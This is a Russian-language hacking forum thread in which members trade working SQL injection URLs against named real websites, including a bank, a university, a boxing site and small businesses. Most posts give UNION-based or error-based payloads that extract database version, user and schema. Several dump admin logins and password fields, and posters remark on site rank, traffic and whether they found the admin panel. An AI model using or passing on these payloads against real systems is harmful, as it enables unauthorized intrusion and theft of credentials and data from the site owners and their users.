SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR7
    http://www.lebenslanges-lernen.at/erasmus_outgoing/index.php?lng=de&sekt=1&txt=hei&eracode=-SOFIA27'+union+select+user(),2,3,4,5,6,7,8,9,10,11+--+
     
  2. kooler

    kooler Banned

    Joined:
    21 May 2012
    Messages:
    2
    Likes Received:
    3
    Reputations:
    6
    Кто первый, того и тапки)

    http://www.hkyongnuo.com/e-detail.php?ID=2888+union+select+1,version(),3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--
    MySQL: 5.5.28
    PR: 3

    http://www.vrijglas.org/detail.php?id=2110+union+select+1,version(),3,4,5,6,7,8,9,0,11,12--
    MySQL: 5.0.95
    PR: 3
     
    2 people like this.
  3. Jamsho0T

    Jamsho0T New Member

    Joined:
    14 Jul 2009
    Messages:
    45
    Likes Received:
    3
    Reputations:
    1
    Code:
    http://www.lamarelle.fr/news/news.php?id=9+union+select+1,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,concat_ws%280x3a,login,passwd%29,4%20FROM%20user+--+
    PR 2
    5.1.66-0+squeeze1-log

    #админку не нашел, либо /admin/

    Code:
    http://www.fangemeinschaft.de/news.php?id=-4564564556+UNION+SELECT+1,2,3,4,5,6,7,8,version%28%29,10,11,12,13,14,15,16
    4.1.22-nmm-1-log
    PR 3

    Code:
    http://www.jackculcay.de/news.php?id=120%27+AND+1=0+UNION+SELECT+1,version%28%29,3,4,5,6,7,8,9,10+--+
    5.5.31-log
    pr 1
     
    #15743 Jamsho0T, 13 Feb 2014
    Last edited by a moderator: 17 Feb 2014
  4. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    College of Agriculture California State University, Chico

    Code:
    http://-www.chicostatefarmstore.com/product-line.php?ID=-12+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10--
     
    #15744 GhostW, 15 Feb 2014
    Last edited: 15 Feb 2014
  5. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    306
    Likes Received:
    138
    Reputations:
    33
    2 pr

    Code:
    http://www.retailtherapy.tv/video.php?id=-163+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+--+
    4 pr

    Code:
    http://www.stagenoise.com/video/video.php?id=-37+union+select+1,version(),3+--+
     
    #15745 WallHack, 16 Feb 2014
    Last edited: 16 Feb 2014
    1 person likes this.
  6. Улыбайся

    Joined:
    23 Oct 2011
    Messages:
    71
    Likes Received:
    7
    Reputations:
    3
    http://www.crash-cars.ru/docs_ru.php?id=-7+union+select+1,2,3,4,@@version,6+--+
    Было просто приятно увидеть:) Ваш общий баланс:$29,048.04

    http://zxtunes.com/software.php?id=-12%27+union+select+1,2,3,4,@@version,6+--+
     
    #15746 Улыбайся, 16 Feb 2014
    Last edited: 16 Feb 2014
  7. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    306
    Likes Received:
    138
    Reputations:
    33
    Яндекс тИЦ [​IMG] 10 Google Page Rank 4
    Code:
    http://www.heure-exquise.org/video.php?id=-4677+/*!union*/+selECt+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+--+
     
  8. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR5
    http://www.flumroc.ch/de/loesungen/list.php?maincat=-4+union+select+1,user(),3,4+--+
     
    1 person likes this.
  9. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    306
    Likes Received:
    138
    Reputations:
    33
    Яндекс тИЦ [​IMG] 40 Google Page Rank 2
    Code:
    http://www.worldboxing.ru/view_lessons.php?id=99999999%27+union+select+1,user(),3+--+
     
  10. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Евреи

    Code:
    http://nameandglory.spb.ru/martirolog.php?&letter=-1'+union+select+concat(user(),0x3a,0x3c666f6e7420636f6c6f723d7265643e3c623e6e336d31733c2f666f6e743e3c2f623e)+--+
    memorial@localhost
     
  11. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Футбольный клуб "Агара"

    Code:
    http://www.agarafc.com.ua/news.php?id=-79+union+select+1,2,3,4,5--
    WAF так и не обошёл
     
  12. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.bishopdwenger.com/content.php?id=-1+union+select+concat_ws(0x3a,version(),user(),database()),2--
     
    1 person likes this.
  13. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    306
    Likes Received:
    138
    Reputations:
    33
    10 Тиц 1 PR

    Логин пароль админа

    Code:
    http://japonavto.ru/newsview.php?id=-10+union+select+1,login,pass,4,5,6+from+admin+--+
    
    Админку не нашёл
     
    1 person likes this.
  14. Athlon

    Athlon New Member

    Joined:
    19 Aug 2011
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://zemkadastr45.ru/?content_type=registration'+or+(select+count(*)from(SELECT+1+UNION+SELECT+2+UNION+SELECT+3)x+group+by+concat(mid((select+name+from+users+limit+1),1,64),floor(rand(0)*2)))+--+
    Админка, логин, хеш пароля
     
    1 person likes this.
  15. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Обходится так:
     
    3 people like this.
  16. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    rapid4me.com Файлопомойка ~10к трафа
    Code:
    http://rapid4me.com/?n=-7708' UNION ALL SELECT NULL,concat_ws(0x3a,version(),user(),database()),NULL,NULL,NULL,NULL,NULL%23
    Code:
     5.5.28-29.2-log:root@localhost:fileshare_se
    k-state.edu PR-7 Alexa-24k ТИЦ-300 ~100k трафа
    Code:
    http://www.k-state.edu/today/announcement.php?id=-2140'+union+select+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6,7,8+--+&category=events&referredby=categoryrssfeed
    Code:
    5.5.13-log:[email protected]:dcm
     
    1 person likes this.
  17. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Salaam Somali Bank

    Code:
    http://salaamsombank.com/pages.php?id=-14+union+select+1,2,version(),4,5,6,7,8,9,10--
    5.1.68-community-log
     
  18. Улыбайся

    Joined:
    23 Oct 2011
    Messages:
    71
    Likes Received:
    7
    Reputations:
    3
    HTML:
    http://www.printer13.ru/product_info.php?id=-12+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13+--+
     
  19. comynicator

    comynicator New Member

    Joined:
    20 Mar 2012
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    ttp://www.carldavey.co.uk/article.php?id=-1+union+ select+1,group_concat(schema_name),3,4+from+information_schema.sch emata--
     
  20. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    306
    Likes Received:
    138
    Reputations:
    33
    Тиц 650 4 pr

    Code:
    http://ecom.su/news/index.php?id=-1232+UnIon+selECt+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+--+
     
Thread Status:
Not open for further replies.